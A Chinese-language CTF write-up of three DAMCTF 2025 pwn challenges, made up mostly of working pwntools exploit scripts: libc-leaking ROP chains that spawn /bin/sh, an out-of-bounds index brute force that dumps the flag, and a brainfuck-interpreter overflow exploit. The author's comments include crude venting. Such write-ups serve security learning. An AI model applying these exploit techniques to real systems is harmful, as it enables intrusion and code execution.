#DAMCTF2025 Pwn WriteUp本来周末想着打那个 midnight sun CTF2025 来着,结果推迟了,就看了这一场 DAMCTF2025 和另外一场 Break The Syntax CTF2025。。
#dnd简单逆向一下恢复结构体:
00000000 struct Game // sizeof=0x4
00000000 {
00000000     char point;
00000001     char health;
00000002     char attack;
00000003     char d;
00000004 };
00000000 struct Monster // sizeof=0x3
00000000 {
00000000     char health;
00000001     char damage;
00000002     char c;
00000003 };
恢复出来 Monster::attack 函数如下:
Game *__fastcall Monster::Attack(Monster *monster, Game *you)
{
  __int64 v2; // rax
  Game *result; // rax
  __int64 v4; // rax
  if ( you->attack <= monster->health )
  {
    v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Oof, that hurt ;(");
    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    you->health -= monster->damage;
    result = you;
    you->point -= monster->health;              // 整数溢出
  }
  else
  {
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, "You defeated the monster!");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    you->point += monster->health;
    result = you;
    ++you->attack;                              // inc attack
  }
  return result;
}
只要把 you→point 变成负数

这里的比较用的是无符号数,所以上面的负数很容易就通过这个检测。
然后就是一个白给的栈溢出。
题目的交互比较抽象,本地一开始瞎写踩了很多坑,后来重写了一下,exp:
#!/usr/bin/env python3
from pwn import *
from sys import argv
proc = "./dnd_patched"
context.log_level = "debug"
context.binary = proc
elf = ELF(proc, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
io = remote("dnd.chals.damctf.xyz", 30813) if argv[1] == 'r' else process(proc)
if args.G:
    gdb.attach(io, """
    b *0x402960
    """)
def get_point():
    io.recvuntil(b"Attack: ")
    attack = int(io.recv(1).decode(), 10)
    io.recvuntil(b" (")
    health = int(io.recvuntil(b" health", drop=True).decode(), 10)
    if attack <= health:
        io.sendlineafter(b"Do you want to [a]ttack or [r]un?", b"a")
    else:
        io.sendlineafter(b"Do you want to [a]ttack or [r]un?", b"a")
    io.recvuntil(b">>> Round ")
    io.recvuntil(b"Points: ")
    points = int(io.recvuntil(b" | Health: ", drop=True).decode(), 10)
    return points
def get_overflow():
    io.recvuntil(b"Can you survive all 5 rounds?")
    res = 0
    io.recvuntil(b">>> Round ")
    io.recvuntil(b"Points: ")
    points = int(io.recvuntil(b" | Health: ", drop=True).decode(), 10)
    for i in range(5):
        res = get_point()
        if res < 0:
            for j in range(4 - i):
                io.sendlineafter(b'Do you want to [a]ttack or [r]un? ', b"r")
            break
get_overflow()
# 0x0000000000402640: pop rdi; nop; pop rbp; ret;
# 0x000000000040201a: ret;
pop_rdi_ret = 0x402640
main = 0x402988
ret = 0x40201a
payload = flat([cyclic(104, n=8), pop_rdi_ret, elf.got['puts'], 0, elf.plt['puts'], main])
io.sendlineafter(b'What is your name, fierce warrior? ', payload)
# io.sendline(payload)
io.recvuntil(b"\n")
puts_addr = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
libc_addr = puts_addr - 0x87be0
log.info(f"libc_addr => {hex(libc_addr)}")
libc.address = libc_addr
get_overflow()
binsh = next(libc.search(b"/bin/sh\x00"))
payload = flat([cyclic(104, n=8), pop_rdi_ret, binsh, 0, ret, libc.sym['system']])
io.sendlineafter(b'What is your name, fierce warrior? ', payload)
io.interactive()
#charful题目给了个压缩包,打开,里面有 main.c, todos.c, todos.h,给了源代码 makefile dockerfile,然后再下载出题人搞的可执行文件,看一下基本信息:
$ file todos_arm
todos_arm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, BuildID[sha1]=ea22cc12e1971e647ebf3c451feca3cbaf59c926, for GNU/Linux 3.2.0, not stripped
ok 32 位 arm,我不知道为什么出题人会给一个复现不了的 dockerfile 出来?给这个 dockerfile 的意义是?我用他的 dockerfile build 出来的可执行文件是这样:
$ file todos
todos: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=84f666f27998b6edf31415eb4079223c150c9c28, for GNU/Linux 3.2.0, not stripped
到这里已经初见端倪了,是的,出题人不是人,没看出来也没关系,继续做。

菜单题,那感觉可能比较复杂了,估计得逐个逆向
题目提示说这是整数溢出…..看了一会,感觉按照题目这个检查方法,应该不可能溢出啊???在这里卡了很久,找不到🕳

(怀疑人生.jpg)
随便输入了一些 fuzz 一下,结果出现了非预期的输出?我草?
仔细看一下,在源码里是这么写的:

ida 逆向出来是这样的:

?给的源代码和可执行文件不一样,给源代码的意义是什么呢?????
到这你会觉得出题人确实不太诗人,别急。
刚才说了这是个菜单题,仔细看一下功能,想了想,似乎只需要 print_todo 这一个功能就能把内存里的 flag 打印出来了吧?
不太确定,写个脚本看看:
from pwn import *
from sys import argv
proc = "./todos_arm"
context.log_level = "debug"
context.binary = proc
elf = ELF(proc, checksec=False)
io = remote("charful.chals.damctf.xyz", 30128) if argv[1] == 'r' else process(proc)
if args.G:
    gdb.attach(io, """
    b *0x4019D5
    """)
def choose(idx):
    io.sendlineafter(b"What would you like to do? ", str(idx).encode())
def show(idx):
    choose(2)
    io.sendlineafter(b"Which TODO would you like to print? ", str(idx).encode())
for i in range(-330, -300):
    res = i & 0xffffffff
    log.info(f"res => {i} => {res}")
    show(res)
io.interactive()
?

直接出了????????????????????????????????????????????
不是哥们?那你他妈写那么多功能干嘛?
哦对,为什么第一次只找到了一半的 flag 呢?哈哈,因为靶机远程太卡了,第一次爆到一半 dump 了,还好我自信😁
以后 daimi 再让我做这种傻逼题我就把 daimi 杀了。
#bf存在溢出漏洞,简单利用即可
Zzz
# >,    //读入一个字符n,代表我们要输入字符的个数
# [
#   [>] //向右移动到第一个0字符的位置(字符串头
#   ,   //输入字符
#   [<] //向左移动到第一个0字符串位置(字符串尾
#   >-  //向右移动到n并将其-1
# ]     //若为0跳出循环
# -     //剩下的we don't care
# [>]
# -
# [<.+]
# ++++++++++.
exp:
from pwn import *
filename='./bf'
libc='./libc.so.6'
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
# p=process(filename)
# e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
# context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p)
def translate(code: str, output=None, start=0, depth=0):
    if output is None:
        output = [0] * len(code)
    sp = start
    loop_start = start
    while sp < len(code) and code[sp] != '\0':
        ch = code[sp]
        if ch == '>':
            output[sp] = (output[sp] & 0xFFFFFF00) | 1
            sp += 1
        elif ch == '<':
            output[sp] = (output[sp] & 0xFFFFFF00) | 2
            sp += 1
        elif ch == '.':
            output[sp] = (output[sp] & 0xFFFFFF00) | 3
            sp += 1
        elif ch == ',':
            output[sp] = (output[sp] & 0xFFFFFF00) | 4
            sp += 1
        elif ch == '+':
            output[sp] = (output[sp] & 0xFFFFFF00) | 5
            sp += 1
        elif ch == '-':
            output[sp] = (output[sp] & 0xFFFFFF00) | 6
            sp += 1
        elif ch == '[':
            output[sp] = (output[sp] & 0xFFFFFF00) | 7
            jump_target = translate(code, output, sp + 1, depth + 1)
            if jump_target == 0:
                return 0
            output[sp] = ((jump_target & 0xFFFF) << 16) | (output[sp] & 0xFFFF)
            sp = jump_target
        elif ch == ']':
            if depth == 0:
                return 0
            output[sp] = (output[sp] & 0xFFFFFF00) | 8
            output[sp] = ((loop_start & 0xFFFF) << 16) | (output[sp] & 0xFFFF)
            return sp + 1
        else:
            return 0
    return 0 if depth else sp
                #>,[[>],[<]>-]-[>]-[<.+]++++++++++.
official_code = ">,[[>],[<]>-]-[>]-[<.+]++++++++++."
code = '>,[[>],[<]>-]-[>]-[<.+][[->.,+]'
out = [0] * len(code)
end = translate(code, out)
print([hex(x) for x in out])
# p = process(['./bf',official_code])
p = remote('brain-a-tac.chals.damctf.xyz',31337)
# gdb.attach(p,'go')
# >< ., +- []
# 12 34 56 78
pay = b'\xff' * 7
pay += p32(0x02020205) + p32(0x02020201) + p32(0x02020203) + p32(0x02020204) + p32(0x01010106) + p32(0xffdd0208)
pay += b'\x00'+ b'1'*(0x72-6) + b'\xff'
# for x in out:
    # pay+=p32(x)
for i in range(0,len(pay)):
    s(pay[i:i+1])
# p.interactive()
s(b'2'*0x25b+b'\x87')
# p.interactive()
# s(b'\x00'*0x7e+b'\xff')
s(p64(0))
# s(b'\x00'*0x1b0+p32
# (0)+b'\x87')
# p.recvuntil(p64(2))
# pause()
# p.interactive()
# p.close()
x = p.recvuntil('\xb8')
s('\x3c')
libcbase = u8('\xb8')
x = p.recv(1)
libcbase += u8(x) << 8
s(p8(u8(x)+(0x90-0xa3)))
x = p.recv(1)
libcbase += u8(x) << 16
s(p8(u8(x)+(0x11-0x2)))
x = p.recv(1)
# #11903c
libcbase += u8(x) << 24
s(x)
x = p.recv(1)
libcbase += u8(x) << 32
s(x)
x = p.recv(1)
libcbase += u8(x) << 40
s(x+b'\x00\x00')
libcbase = libcbase - 0x2a3b8
rdi = libcbase + 0x11903c
binsh = libcbase + libc.search('/bin/sh').__next__()
saddr = libcbase + libc.sym['system']
s(p64(binsh)+p64(rdi+1)+p64(saddr))
print(hex(libcbase))
# p.interactive()
# pause()
s('\x01')
p.interactive()
# >< ., +- []
# 12 34 56 78
# >,
# [
#   [>]
#   ,
#   [<]
#   >-
# ]
# -
# [>]
# -
# [<.+]
# ++++++++++.